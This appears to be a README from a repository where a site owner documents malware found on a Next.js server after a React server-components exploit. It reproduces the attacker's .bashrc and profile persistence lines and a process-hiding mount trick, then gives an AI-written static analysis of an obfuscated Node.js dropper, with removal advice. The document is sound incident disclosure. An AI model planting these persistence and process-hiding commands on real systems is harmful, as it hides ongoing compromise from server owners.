react-cve-2025-55182

This is a dump of malware and other suspicious junk I found on the server for my wedding website following the react server side rendering code execution exploit. Its a dinky digital ocean droplet running a fairly pedestrian next js app.

The CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

A log of server activity showing various spikes and stuff:

The main bad boy seems to be this thing installed in /.local/share/.r0qsv8h1

Stuff I found

In my bashrc:

# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null

Note the pgreps are there to stop this other fake "meshagent" malware from running. You can read about that in the MESHAGENT.md doc.

in my profile there's the same

# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

You can see other sispicious servies in SUSPICIOUS_SERVICES.md

Here's an analysis of this main bad malware:

Overview of the /.local/ stuff

The directory bad contains a self‑contained Node.js runtime bundled with a set of heavily obfuscated JavaScript files.
All evidence points to this being a malicious dropper that silently contacts a remote server, downloads an encrypted payload, decrypts it, writes it to disk, and executes it as a detached background process. The code also periodically checks the server for updates.

Files and Their Purpose

File	Description
.394ly8v9/README.md	Standard Node.js README – unrelated to the malicious functionality; present only to make the bundle look legitimate.
.fvq2lzl64e.js	~5 KB of obfuscated JavaScript. It builds a JSON‑RPC HTTP request, receives a base64‑encoded payload, decrypts it with a custom cipher, writes the payload to a random file, and executes it via child_process.spawn / execSync. It also spawns a detached background process that repeatedly polls the remote server.
.lauphhtqrg.js	~13 KB of obfuscated JavaScript. Implements a similar download‑decrypt‑run loop with its own RC4‑style cipher (dec). Writes the decrypted payload to a generated filename and runs it. Sets up a timer to fetch new payloads later.
.5f8562	Plain‑text Base64 string. Decodes to a small JSON manifest: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } This manifest tells the loader which script to execute (.fvq2lzj6te.js) and provides an identifier/timestamp.
.b0rtqscrkeov	Not yet examined, but the naming pattern suggests it is another component of the same malicious chain.
bin/node and accompanying lib/ files	A full Node.js runtime, allowing the scripts to run on a system even if Node.js is not installed.

Manifest Decoding

The Base64 payload in .5f8562 decodes to:

{
  "0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
  "1": ".fvq2lzj6te.js",
  "3": 1765307786421,
  "4": "desktop"
}

• Key "1" references the main obfuscated loader script.
• Key "0" is a UUID likely used by the remote server for tracking.
• Key "3" is a timestamp (Unix‑epoch ms) indicating when the manifest was generated.
• Key "4" indicates the intended location (desktop), hinting that the payload may try to hide itself there.

Execution Flow

1. Bootstrap – When the bundled Node binary is started (e.g., node .5f8562), the manifest points to .fvq2lzj6te.js.
2. Downloader – The loader creates a JSON‑RPC request to a remote command‑and‑control server, receives a base64‑encoded blob, and decrypts it using a custom RC4‑like algorithm.
3. Payload Deployment – The decrypted data is written to a randomly‑named file in the user’s environment and executed as a detached child process.
4. Persistence / Update Loop – A setInterval timer periodically repeats the download‑decrypt‑run sequence, allowing the attacker to push new or updated payloads without further user interaction.
5. Background Execution – The spawned process runs with its own environment (PATH, cwd, etc.) and may perform typical malicious actions such as cryptomining, credential stealing, or remote command execution.

Potential Impact

• System Compromise – Arbitrary code execution with the privileges of the user that launched the Node runtime.
• Persistence – The periodic polling ensures the malware can be refreshed or replaced at any time.
• Resource Abuse – Likely to run CPU‑intensive tasks (e.g., cryptocurrency mining) or exfiltrate data.
• Stealth – Files are heavily obfuscated and the presence of a legitimate‑looking Node README helps hide the malicious nature.

Recommendations

1. Immediate Removal – Delete the entire .r0qsv8h1 directory and any files it may have created (check the user's Desktop and temporary directories for newly‑created executables).
2. System Scan – Run a reputable anti‑malware scanner on the host to detect any residual components.
3. Verify Execution Paths – Ensure no startup scripts or scheduled tasks reference files in this directory.
4. Network Monitoring – Block outbound connections to unknown IPs/hosts from the affected machine and review recent network traffic for suspicious outbound requests.
5. Update Security Policies – Restrict execution of unknown binaries and scripts, especially those downloaded to user‑writable locations.

---

This analysis was performed automatically by an AI assistant based on a static examination of the files present in the directory. No runtime execution was performed.

You can read more DEOBFUSCATE.md